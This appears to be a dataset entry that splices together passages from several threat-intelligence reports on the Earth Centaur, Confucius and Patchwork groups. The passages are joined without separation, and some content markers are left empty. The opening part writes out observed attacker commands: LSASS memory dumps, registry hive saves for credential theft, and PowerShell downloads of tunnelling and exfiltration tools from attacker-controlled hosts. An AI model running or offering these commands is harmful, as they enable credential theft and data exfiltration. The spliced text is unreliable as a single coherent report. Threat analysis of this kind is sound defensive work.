mrmoor/cyber-threat-intelligence huggingface dataset:
For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe: c:\users\public\downloads\bootsys.exe  -accepteula -ma lsass.exe C:\Users\Public\Downloads\lsass.dmp
The group dumps credentials stored in registries by using reg.exe: reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive reg.exe save hklm\sam c:\windows\temp\sa.dit reg.exe save hklm\security c:\windows\temp\se.dit reg.exe save hklm\system c:\windows\temp\sy.dit
The group would also dump memory from the specified process by using comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 764 C:\Windows\TEMP\dump.bin full Indicator Removal  To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine.
By using this tool, they could clean specified event logs and make it hard for investigators to track their operations.
The usage is as follows:          Intranet Penetration
After successfully exploiting the vulnerable system, threat actors also drop following tools: FRP and Chisel.
FRP is a fast reverse proxy used to expose a local server behind an NAT or a firewall to the internet.
It can read predefined configurations and make the host in the intranet available to users from the internet.
Configuration for FRP fast reverse proxy      Chisel is a fast TCP/UDP tunnel, which is mainly used for passing through firewalls.
It provides the capability to transport data over HTTP (secured via Secure Shell, aka SSH) and allows threat actors to pass through a firewall and get access to the machine behind the firewall.
This is used to download reverse proxy Chisel via PowerShell: c:\windows\system32\windowspowershell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('https[:]//webadmin[.]mirrorstorage[.]org/ch.exe', 'ch.exe')"
This is used to build a connection between inter/intranet via Chisel:  C:\WINDOWS\system32\ch.exe client https[:]//webadmin[.]mirrorstorage[.]org:443 r:127.0.0.1:47586:socks Exfiltration
In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall.
Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration.
It also provides an easy and effective way of copying data to several cloud storage providers.
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('http://195[.]123[.]221[.]7:8080/rclone.exe', 'r.exe')
Based on previous experience, Rclone has frequently been used in ransomware attacks to exfiltrate stolen data.
However, it seems that currently, it is not only used in ransomware attacks but also in APT attacks.
Identifying Features in the Earth Centaur Campaign
After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur.
We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following.
Mutex Style
We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient.
The decoded string is shown in Table 2.
Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.
Table 2. Encoded/Decoded mutex string Encoded string Decoded string in Chinese English translation vul3ru,6q8 q8 y.3 小傑趴趴走 Jack goes around ji394su3 我愛你 I love you 5ji fu.6cl3g.3zj6m0694 桌球好手福原愛 Excellent table tennis player, Ai Fukuhara  Configuration style
After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur.
Figure 13. Network configuration (Left: ChiserClient
Right: TClient)
Code Similarity
After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation.
Both share similar codes in configuration decoding, which is shown in Figure 14.
Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM (shown as Figure 15).      Figure 14.
Configuration decoding function (left: SmileSvr right: Troj_Yahamam)      Figure 15. Function used to split different values in configuration file (left: SmileSvr right: Troj_Yahamam)
These threat actors are notably sophisticated and well-equipped.
Looking deeper into the new methods the group uses, we found that it has an arsenal of tools capable of assessing and then compromising its targets while remaining under the radar.
For example, the group can map their target’s network infrastructure and bypass firewalls.
It uses backdoors with different protocols, which are deployed depending on the victim.
It also has the capability to develop customized tools to evade security monitoring in different environments, and it exploits vulnerable websites and uses them as C&C servers.  In this blog, we outlined our new findings related to these threat actors to help possible targets in the transportation and other industries.
Information on how a threat enters and operates within a victim’s network is invaluable to security teams and can help them create more effective protection for vulnerable organizations.
Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise.
Trend Micro Vision One™️ with Managed XDR gives security teams a consolidated view into valuable insights so they can organize a more solid line of defense ahead of attacks.
For a list of the Indicators of Compromise, please see this document.
MITRE ATT&CK Matrix  Tactics ID Technique Initial access T1190
Exploit public-facing application Execution T1059.001
Command and Scripting Interpreter: PowerShell T1059.003 Command and scripting interpreter: Windows Command Shell T1569.002
System Services: Service Execution Persistence T1543.003
Create or Modify System Process: Windows Service T1574.002
Hijack Execution Flow: DLL Side-Loading T1505.003 Server Software Component: Web Shell Defense evasion T1140
Deobfuscate/Decode Files or Information
T1480 Execution Guardrails T1574.002
Hijack Execution Flow: DLL Side-Loading T1070.001 Indicator Removal on Host: Clear Windows Event Logs T1027.002
Obfuscated Files or Information: Software Packing T1218.011
Signed Binary Proxy Execution: Rundll32 T1036.005
Masquerading: Match Legitimate Name or Location T1197 BITS Jobs T1070.006
Indicator Removal on Host: Timestomp Credential Access T1003.001 OS Credential Dumping: LSASS Memory T1552.002
OS Credential Dumping: Credentials in Registry Lateral Movement T1021.002
Remote Services: SMB/Windows Admin Shares Discovery T1087.002
Account Discovery: Domain Account T1482 Domain Trust Discovery T1083 File and Directory Discovery Collection T1005 Data from Local System Command and control  T1071.001
Application layer protocol: web protocols T1095 Non-Application layer protocol T1090.001 Proxy: Internal Proxy Exfiltration T1567.002
Exfiltration to Cloud Storage      Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports
Updated the appendix on August 30, 2018 to fix formatting and add new information.
Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.
During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets.
During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications.
This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets.
Fake Android porn app and Windows chat applications as lures
The first website uses adult content as a lure, via an Android application called Fuddi Duniya, which links to a website that displays nude pictures every day.
The app’s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store.
Figure 1: fake website with a link to download the Fuddi Duniya app.
The displayed Urdu text could be translated as “Real women, girls, and housewives || Download the app now More than thousands of women app.”
The app’s features are similar to the previous malicious Android application, such as having the ability to record audio and steal SMS, accounts, contacts and certain file types from specific directories.
In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content.
Figure 2: Stealing function excerpt from Fuddi Duniya Android app
The second fake website is again related to chat, with a background suggesting that it can help find users a partner.
Initially, a link to a malicious Android application hosted on Google Play that shared the same features as the application described above was present.
But after we reached out to Google while carrying out the research, the application was removed from the store and the link was removed from the fake website.
Figure 3. Screenshot of the second fake website
Same as with the fake Tweety chat application we described in detail in our previous research, a Windows application with real chat features based on the open-source chat application RocketChat was offered.
Similarly, this application also comes bundled with malicious .NET code.
While small and relatively simple, we found this malicious application interesting to analyze as it revealed the countries targeted by the threat actor.
The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES).  Figure 4.
Sample of the app’s code Periodically, the malware tries to contact the Command-and-Control (C&C) server with the username encoded into parameters.
Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload.
This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.
An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.
If the victim seemingly comes from a different country, the program will self-delete and quit.
Excerpt of the valid country list We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.
At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.
After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.
This one is called “sysctrls” and it looks for files with the following extensions:
Extension File Type .doc, docx Microsoft Word document .xls,.xlsx
Microsoft Excel document .ppt, .pptx Microsoft Powerpoint presentation .pptx
Microsoft Powerpoint presentation .png, .jpg, .jpeg Image file .pst, .ost Microsoft Outlook file .csv
Spreadsheet file
It then sends them via a POST HTTP request to windefendr[.]com/description.php.
Further analysis of this filestealer revealed interesting links with other threat actor groups.
The Delphi Link
We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius.
Both groups used a backdoor with the same configuration file structure and commands.
We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before.
We initially spotted some visual similarities between the malware used.
Although no forms are displayed while the malware is running, we can see its TForm object in the Delphi decompiler.
The TForm object often has two TTimer objects — but sometimes we have seen one or even three of these objects — usually with random names.
Occasionally, listboxes with encrypted strings are also added.
Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)  Figure 7:
Decompiled Form structure of Patchwork’s sample (795ae4097aa3bd5932be4110f6bd992f46d605d4c9e3afced314454d35395a59, Detected as TROJ_DELF.XXWZ)
While looking into any of the TTimers’ OnTimer methods, we often found a certain kind of structure: A pointer to an encrypted string stored in an EDX register followed by the call to the decryption function.
Figure 8: Calling the decryption function This encouraged us to analyze the string encryption routines thoroughly.
Our analysis revealed three of them.
The first involves a very simple routine that flips every bit of the string.
The second algorithm involves a hardcoded key, which is transformed by taking the five lower bits of each character, and then used as a XOR key.
In some cases, the key is split in half in the binary, so it is first reunited before being used.
Finally, our third algorithm uses a 94-character substitution table.
This algorithm was previously discussed by security researchers in a Confucius-related blog post.
For each of these routines, we found a recent sample going back to a domain name belonging to Patchwork’s infrastructure.
The substitution tables of the third algorithm were randomly generated at build time, while the attacker seemingly set the keys used in the second algorithm.
We found six different keys in the latter category that were different for the Patchwork and Confucius group.
On the left, Confucius code, on the right, Patchwork’s code
Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers.
One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group.
The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016.
That report also mentioned InPage software targeting and Delphi backdoors.
Left: Confucius group, Middle: Hangover group, Right: Unnamed group
After some research, we found multiple Delphi backdoors that used any of the three decryption routines.
The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post.
Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was “EnDecrypt”.
This algorithm matches the following code snippet.
Patchwork's Ongoing Campaigns
Aside from their Delphi malware, Patchwork is still active.
Lately, they have been sending multiple RTF files exploiting CVE-2017-8570.
The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com.
Process tree after a successful infection
The attackers sometimes design the weaponized documents to look like legitimate documents of interest to the target.
The documents are also unusually large — often more than 10 megabytes.
On the left, the weaponized document.
On the right, the legitimate document from CSBA.
Note that the weaponized document was crafted to look like it came from CSBA but does not imply that CSBA or its related assets have been compromised
The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost.
Defending against Confucius and Patchwork Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective.
To help combat these kinds of threats organizations will need to take a more proactive and focused security posture that can cover the most ground in terms of security.
Some specific security measures organizations can implement:  Recognize social engineering attempts.
Malicious mobile apps are common infection vectors for cybercriminals, as they can attract specific target audiences.
In this case, Confucius went with the common adage “sex sells” Proactively monitor the organization’s network.
Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring.
A more proactive stance that includes proper application of firewalls and intrusion detection and prevention systems can help mitigate the impact of an attack Implement network segmentation.
Even with the best security technology, there is still a chance of an attack slipping through.
Separating the network into individual parts, as well as restricting access to only those who really need it, can mitigate the damage that occurs in case of a successful attack.
Update systems regularly.
Everything from endpoints to network software to IoT devices should be patched and updated to prevent or minimize the chance of a threat actor exploiting a vulnerability  In an ideal scenario, an organization’s in-house security team implement all of these and other security measures.
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks.
Since these teams also handle the day-to-day IT requirements of the organization, taking on a more involved and proactive stance may not be easy.
In this case, an organization can look into third party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats.
Trend Micro Solutions Patchwork uses email as an entry point, which is why securing the email gateway is important.
Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.  Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of Patchwork’s attacks.
These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.
It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protect physical, virtual, and cloud workloads.
This appendix contains the latest indicators of compromise (IOCs) related to the different groups.
Tags  APT & Targeted Attacks | Endpoints | Research | Network
While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer.
The NSO Group’s spyware spurred a collaborative investigation that found that it was being used to target high-ranking individuals in 11 different countries.
In this blog entry, we take a look at the lures used by the malicious actor and provide a short analysis of the file stealer used in the campaign, which was launched in early August.
The contents of the spear phishing email The campaign involves a two-step attack.
During the first phase, an email without a malicious payload containing content copied from a legitimate Pakistani newspaper’s article is sent to the target.
The sender address, which is spoofed, impersonates the PR wing of the Pakistani Armed Forces (info@ispr.gov.pk).
Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target.
The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk).       Figure 1.
Spear-phishing email from early August.
Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department.
If the target clicks on either the link or on the “unsubscribe” link, it will download a Word document from the domain parinari[.]xyz.
The emails are sent either from an ExpressVPN exit node in Pakistan, or from a mail server under the attacker’s control.
Examining the encrypted document containing macros After entering the password mentioned in the message, a document containing macros is displayed on screen.
Figure 2. Malicious document containing macros
If the victim enables macros, the malicious code will be loaded.
If the victim enters any phone number and clicks “SUBMIT,” the text field will be replaced by the message “Phone Number Not Found.”
Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the “Comments” property of the document, is created in the temporary directory.
The file is then loaded in memory via PowerShell.
Stage 1 is a simple download & execute program.
It downloads an ASCII file from the same domain and converts it into binary before loading it on to the memory and jump to a dynamic function.
Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it.
Stage 3 is similar to stage 1, with the only change being the URL to retrieve the next stage.
Stage 4 is the final payload (analyzed in the next section).
it is never written in clear text to the file disk.
File stealer loading scheme
It should be noted that most of the compilation timestamps of these DLL files have been modified by the attacker to a year in the far future (2060, 2099 …), and the server IP addresses are often hidden behind CloudFlare.
Analysis of the file stealer
The final payload is a .NET DLL file designed to steal documents and images with the following extensions:  File extension  Description  TXT  Text file  PDF  PDF file  PNG  Image file in PNG format  JPG  Image file in JPG format  DOC  Word document  XLS  Excel document  XLM  Excel document with macros  ODP  OpenDocument Presentation  ODS  OpenDocument Sheet  ODT  OpenDocument Text  RTF  Rich Text Format file  PPT  PowerPoint document  XLSX  Excel document  XLSM  Excel document with macros  DOCX  Word document  PPTX  PowerPoint document  JPEG  Image file in JPEG format
The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user
are checked.
The DLL file also examines drives other than C:
.      Figure 4. Code showing the main function of the file stealer
When a file matching one of the listed extensions is found, its MD5 hash is calculated and compared to an exclusion list retrieved from the command-and-control (C&C) server pirnaram[.]xyz.